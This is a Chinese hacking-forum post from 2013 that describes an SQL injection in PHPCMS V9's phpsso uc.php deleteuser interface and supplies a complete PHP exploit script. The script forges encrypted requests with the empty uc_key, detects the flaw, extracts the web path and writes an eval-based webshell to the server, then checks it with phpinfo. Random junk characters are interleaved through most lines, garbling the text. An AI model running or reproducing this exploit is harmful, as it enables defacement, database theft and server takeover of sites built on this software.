找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1893|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
* L) b" U- t( L% J& P+ J9 x, J2 Y
. U% u4 X/ }6 R所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。2 ]% J  t4 n6 C" d) G( u* y
4 R/ x% X% e! X- O, F2 X) T' I! a
漏洞分析:& x4 q# b% B  X8 C
1.未启用ucenter服务的情况下uc_key为空
7 X& A) D1 i! y; W2 O: K; R7 x9 Zdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
% c8 ~# X; H, f4 n, G  F. q! v2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
( g4 z0 L) Z" {: i/ k1 @# }% u    public function deleteuser($get,$post) {9 o' ~- U& b- O6 p" v) @( F
        pc_base::load_app_func('global', 'admin');9 O/ l7 ?$ b; c- l9 G$ |
        pc_base::load_app_class('messagequeue', 'admin' , 0);% y+ [3 z+ d2 y  U4 A
        $ids = new_stripslashes($get['ids']);# t% G  c) ~% l/ H" a0 b$ Q
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");  b% s% _7 f8 I: `
SQL语句为
! ^$ g3 z0 Y7 v2 f# V& h  WSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)* A8 k; }8 }2 e# Q  c3 F

! u2 T+ a3 z+ F, g$ m利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
: i+ c  n3 f# t: [0 S- G# e) g<?php
/ R% V  G. G) J: L* M3 Yprint_r('  |- G$ D9 e. k* w, y: K) m$ P
---------------------------------------------------------------------------' Z8 Z6 n2 p4 H1 J9 V+ |5 \
PHPcms (v9 or Old Version) uc api sql injection 0day
9 V6 u' K, h$ z/ X" ?by rayh4c#80sec.com/ u' f% g3 `4 u+ G& i; v/ P6 n
---------------------------------------------------------------------------
- \" ?0 b! r! l8 \0 W');
8 ~5 s( k, [6 g# V1 r: a
; F5 _/ _8 K" T% ]if ($argc<3) {. Z5 y4 z0 t+ U
    print_r('8 t0 y7 ^" m( v" f' c
---------------------------------------------------------------------------
4 V: i2 w, R' [, e% @) \$ B- xUsage: php '.$argv[0].' host path OPTIONS
3 P9 B4 x! \8 l2 Xhost:      target server (ip/hostname)
6 h5 H' w0 Y) n, Ypath:      path to phpcms
+ u& @8 q2 N. e2 C; aOptions:/ K5 T+ m  U. ]$ G
-p[port]:    specify a port other than 80% @" @' b- r  a; e( O$ `8 K$ W
-P[ip:port]: specify a proxy6 ~% w- P2 M+ u% ^+ u
Example:( m7 P& ]) t" ~' x' @
php '.$argv[0].' localhost /
+ h6 D* \+ [& o7 N1 aphp '.$argv[0].' localhost /phpcms/ -p81/ ~( c) ^+ W' p4 R, }3 a  Z, ^
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 ]9 o4 H, U: l5 c; c2 y) b' K---------------------------------------------------------------------------
. _2 ]. n  B+ }, S& N6 S');( d  |5 W3 E& w! `9 f. t0 C
    die;/ L. ^0 H2 [) C
}
  ^0 O$ y' f2 i2 V* x' o+ o3 b, [5 A7 G& l0 Y3 Y0 }
error_reporting(7);
/ f& E6 s/ e- l. H1 W2 Kini_set("max_execution_time",0);
7 U' G$ Y  o# J- [, xini_set("default_socket_timeout",5);
9 `3 L  p1 D' a5 A! }( @* R5 o( Z& ?
function quick_dump($string), `$ t- p: y3 ?3 P% \- r/ S' v
{6 j( L8 q6 k( H7 [$ w( z
  $result='';$exa='';$cont=0;
! f$ U8 k7 N; w- b, A  for ($i=0; $i<=strlen($string)-1; $i++)' N: z' J0 }) [' S9 I2 I& F6 Z
  {
6 I$ {4 i9 V7 F   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))% |6 r& [2 W& Z0 o
   {$result.="  .";}9 s/ P! G8 [) A+ b5 A; n0 ]' K1 L
   else
+ Q/ X) i2 F, |5 J. _" Q   {$result.="  ".$string[$i];}
+ X1 x8 t' z; c   if (strlen(dechex(ord($string[$i])))==2)9 ^3 ]3 b7 W7 L, Y' B) B
   {$exa.=" ".dechex(ord($string[$i]));}
3 t$ h3 [" _+ A" ]2 L   else
0 C- p: t% O% A   {$exa.=" 0".dechex(ord($string[$i]));}/ p  J5 D$ \" L6 N
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
5 c8 {; [( I5 y0 x% Z  }* a% h  K+ s$ n# Q
return $exa."\r\n".$result;
( v& C: [! b6 V# l8 L}
: P+ T' @7 q: \5 N$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';7 O+ @& @* Z+ w" J, S9 m7 _  _

9 a1 K, s: j0 K& O9 ^4 D0 j$ yfunction send($packet)
( N' P* [' I8 p! ~& C: W{; U7 e& U  l# g
  global $proxy, $host, $port, $html, $proxy_regex;
/ \. O& k- y2 x1 X  if ($proxy=='') {6 j" j6 Q8 G& v6 F3 b$ b, M# k) C. j
    $ock=fsockopen(gethostbyname($host),$port);
3 ?3 y+ J$ `% B$ D9 r    if (!$ock) {8 z7 ?5 e" y# B* S
      echo 'No response from '.$host.':'.$port; die;; y8 M! P) |5 I
    }
( f) c4 p6 g7 r  g8 f- d7 F  }8 u8 O; B4 A7 x
  else {
: V5 x, y7 Q  K5 z9 H6 @: c5 {        $c = preg_match($proxy_regex,$proxy);
6 ?1 {( D0 C) @; Z& ]; Y  v5 P    if (!$c) {
7 M$ ^( G$ Y; W: q! j$ u      echo 'Not a valid proxy...';die;
2 c3 h4 T# J; s; h    }
) A( Y8 b6 X! _    $parts=explode(':',$proxy);  b5 Y6 i, }& @: @
    $parts[1]=(int)$parts[1];, K: Z3 G8 Z& I  E7 n1 ]7 i# U1 v
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
" C9 ^- ?# g5 m* p$ h3 C% y    $ock=fsockopen($parts[0],$parts[1]);% ?- X3 g2 T( P$ t. V  d
    if (!$ock) {' W4 Z7 E2 i  ~1 R" O- B
      echo 'No response from proxy...';die;
/ ]7 }& J5 x( ~' |2 m        }
5 Z8 H9 ~/ h+ a; ~; t  }% n0 M1 \: B9 `6 }7 v
  fputs($ock,$packet);
0 d, `! T  R6 J1 e0 q  if ($proxy=='') {
1 `9 r0 Q/ e( {    $html='';2 Y# ]- }5 f. Q) x" r' P
    while (!feof($ock)) {
, |5 j8 e! c* K( T( w1 [' H" C5 R! h      $html.=fgets($ock);7 G3 B: ]! ~# }7 a+ Z+ T2 [
    }
) p5 u  ]; A4 h2 v4 m  }0 J% _( D5 b$ A& H: ^" ^6 Y% M
  else {
: z( i3 s2 r7 f# q    $html='';0 [4 G6 O/ U, @$ @& G6 N* \4 B2 h
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {' m7 q& T" ~8 H
      $html.=fread($ock,1);
7 N" }- h5 n6 w# m    }
! t9 u7 X, }6 r# T1 R  }
+ s8 y- b/ j5 o: q" W  fclose($ock);
+ A7 i! [+ W; I+ ]$ ^& K}
8 i3 s. S- U- `4 @3 H0 l( z" r8 r2 i+ o
$host=$argv[1];
% Y; p* f& {* W  t1 ]3 _- G$path=$argv[2];
/ [# f4 w' ^# M; X9 g$port=80;' a6 r" I' e+ D0 b  P9 u8 ]$ g$ F
$proxy="";" w# t7 m- m6 B  Q) E  p0 X+ k% T
for ($i=3; $i<$argc; $i++){
+ B" I3 Z  v" r$temp=$argv[$i][0].$argv[$i][1];+ ]0 u2 n( a# I- \: }% l
if ($temp=="-p")# X) g; t; ?+ A" ?* T0 e
{
! F2 t& w7 h! X# A4 g  $port=(int)str_replace("-p","",$argv[$i]);
" `% P9 U6 q  e* c8 Y}
# u9 b' c+ S) F8 u# u/ Y$ B5 vif ($temp=="-P")
9 A$ d6 a4 U, G1 t/ r' ?{
; C$ V" Z, \3 p; w8 [: ^/ Z  $proxy=str_replace("-P","",$argv[$i]);* a: b% x8 f0 [* r0 W1 v: C' f; r0 x, ^
}
1 z* |! e8 G7 _9 D}1 q+ g# r$ m9 t5 r' s6 d3 d

- [, m: N$ s  R4 h( xif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
" P! s$ I/ Y7 m8 l; Lif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}1 B3 C) w* `+ X# v6 U
$ W" T" a4 X2 p- ^+ Z7 t7 g
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {( {8 C+ S7 A; U6 s
7 X6 t$ H5 G+ u4 ?" a' f
    $ckey_length = 4;
0 t  T2 m1 ~) w: ]; a! A2 p5 `9 v% l& u
    $key = md5($key ? $key : '');% q4 Z3 q- q6 `
    $keya = md5(substr($key, 0, 16));
$ t. r# J! x6 {5 n8 h% l    $keyb = md5(substr($key, 16, 16));
" @! p/ r! w5 I6 ]/ J/ q% g    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';7 Y* f: {' }; D+ J5 s
* T4 @* X6 d; o, {0 f4 {; ~
    $cryptkey = $keya.md5($keya.$keyc);* f# {, N/ r- l$ F; u$ H
    $key_length = strlen($cryptkey);; {; H% }  v+ G% f* l' }0 b
. A* g$ \* n  {7 S6 V4 ^
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;6 S( |3 h9 m  h& v  f$ b7 J7 z
    $string_length = strlen($string);
4 d' ?2 _5 ~" B, e9 `( a: J6 Z* `9 q
    $result = '';8 s) M. Y& ~  d
    $box = range(0, 255);
) [- \( i6 |" @  R1 s9 J! a% x
$ l- _$ n, G1 s    $rndkey = array();
# B' K. j  J, R5 ^, e3 f    for($i = 0; $i <= 255; $i++) {
  c7 ^, @1 l0 ?* x  V" L        $rndkey[$i] = ord($cryptkey[$i % $key_length]);. I3 }! j# R; M! m$ I% B4 [
    }# v; k  H2 i+ i) r* J

& P4 r6 Q0 R3 D2 ^9 u- q    for($j = $i = 0; $i < 256; $i++) {8 o4 r% ^! a$ C) h7 {. N: F
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;- X) J- \8 y3 ~
        $tmp = $box[$i];
  T' U! n, F. E) Y" Z- R3 V        $box[$i] = $box[$j];8 ?' n; Y% o5 C
        $box[$j] = $tmp;
' M5 R5 l& Y' y: j( T5 q    }
5 F. W1 Y% K7 V! ?) K+ w: R* i* Z! E6 R
    for($a = $j = $i = 0; $i < $string_length; $i++) {
$ U, ]4 j: g  z5 i        $a = ($a + 1) % 256;: J4 u- h3 w7 A4 i: K. G% m( m
        $j = ($j + $box[$a]) % 256;
) I) z! \* P4 [$ `        $tmp = $box[$a];: P! ^& |& \$ X" o/ B" u+ S
        $box[$a] = $box[$j];" Y) j* t& l( ]
        $box[$j] = $tmp;
8 O1 U- w) P# Q/ c        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));: r* V2 Q, |, m, @: _2 p) w: E
    }
9 G# _4 i# a8 O+ l
$ Z0 F% b4 N: K' N5 b: U    if($operation == 'DECODE') {2 v7 D8 ?! T2 t9 V& c
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {% W7 Z- P( d  D( c* F
            return substr($result, 26);; ?! K1 E2 Y: N- j  e# `1 Y
        } else {
5 {3 S8 Q  R) w1 y9 h) @' n0 R            return '';1 b9 ?' W6 L% F7 i. h3 R1 q
        }- ~9 C9 m0 ^. G1 @6 C. |
    } else {+ l  {  ~9 Y- d
        return $keyc.str_replace('=', '', base64_encode($result));
0 b3 z9 n/ a! T$ Q, i: @    }0 s, Q7 O8 i+ m- t

8 r+ q0 A% r' J$ q}
' y# A+ z( @- V' T8 L, m7 t! U3 Z! h& S! |
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";6 W' ]& t6 Z; w9 p* o/ q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
5 U+ Z& z7 }  z8 Gecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";" e& C% r% I' _2 M* p2 d% v( V
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
8 f( ?/ j1 F2 \4 U3 f0 T$packet.="User-Agent: Mozilla/5.0\r\n";2 {0 K2 a* V6 O# y3 n
$packet.="Host: ".$host."\r\n";' a3 o9 f2 \9 b" \$ s6 |6 ~
$packet.="Connection: Close\r\n\r\n";
+ N; E$ z, Y7 |# V' P( y2 S- f' Csend($packet);
% S  ?- F! _8 C+ ~if(strpos($html,"MySQL Errno") > 0){
0 W2 h  g$ v. @. ]echo "[2] 发现存在SQL注入漏洞"."\n";& Y) p: a( B$ Y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";* {' t4 N4 e) t% p+ r
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";1 \7 h( N* _! H" f6 A/ `
$packet.="User-Agent: Mozilla/5.0\r\n";' g# i9 f+ a% p; p, p
$packet.="Host: ".$host."\r\n";2 ~( |( w3 A8 z& w. v3 A) x
$packet.="Connection: Close\r\n\r\n";( s6 ^9 f' O" ]  n- n
send($packet);( R2 w; c% H# e2 c' ]# d
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
; b3 m& s, [3 w( V" o//print_r($matches);' Y2 c& i7 g7 ~
if(!empty($matches)){
) X/ r- ]  D2 e9 p& O6 n) w6 Gecho "[4] 得到web路径 " . $matches[0]."\n";% f  o/ O* f- }% l3 ]
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";: m/ k/ r: v' K+ x
$SQL = "time=999999999999999999999999&ids=1)";5 M* E8 G' R3 b( n/ e: i& ?* E( l
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' P/ |0 O& {% F7 s7 q4 {5 d$SQL.="&action=deleteuser";. j  S7 I+ r! L% l+ H
$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 P; o! O8 ]) E# q
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
7 z2 O" v# s4 M) U6 h& Y* b! J$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% \) A8 {# @& f6 O$packet.="User-Agent: Mozilla/5.0\r\n";
; s4 v8 C1 Q5 n$ g( z9 i$ S% X$packet.="Host: ".$host."\r\n";
3 u: d9 |5 U, {# E$packet.="Connection: Close\r\n\r\n";
1 ?- V& Y" _% V; z: msend($packet);
, [; R, W+ {; f$ Z# Z: g3 \/ kif(strpos($html,"Access denied") > 0){1 W( S: F! X: q+ B
echo "[-] MYSQL权限过低 禁止写入文件 ";; I1 K# r; h% G' V) I6 c2 r, K9 }
die;
# C$ O0 }6 }0 k; y6 P! U+ C}6 l. [8 P9 s$ \# c
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";& X* r1 Z. t, ^% d3 {  a
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
: X) v" f( Q5 T4 T$packet.="User-Agent: Mozilla/5.0\r\n";5 `- F! h2 \2 W. }1 U, F' k5 j5 B
$packet.="Host: ".$host."\r\n";# I4 f0 f9 S& L6 t& n
$packet.="Connection: Close\r\n\r\n";
8 a9 d* v/ `+ \/ Usend($packet);
  z2 S- ~" C& |if(strpos($html,"<title>phpinfo()</title>") > 0){
# U5 _/ s, `) o* f! d5 gecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";6 w7 ~& [; t% j; C. X
}
' n' A2 g/ ^8 ~# n+ u. t}else{
' L; X2 X  u2 ]. h; ^4 Hecho "[-]未取到web路径 ";9 E- n+ Y5 ?4 d9 }* X
}
& N3 n1 H. K5 H/ A( D. |  K}else{5 X7 X5 d7 Y* E4 _
echo "[*]不存在SQL注入漏洞"."\n";& b3 V5 ^5 X5 m* d5 q. ?
}2 L0 R" A, B$ r
1 Y3 `! \7 G; N' k
?>) \: V8 J) K3 g( x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表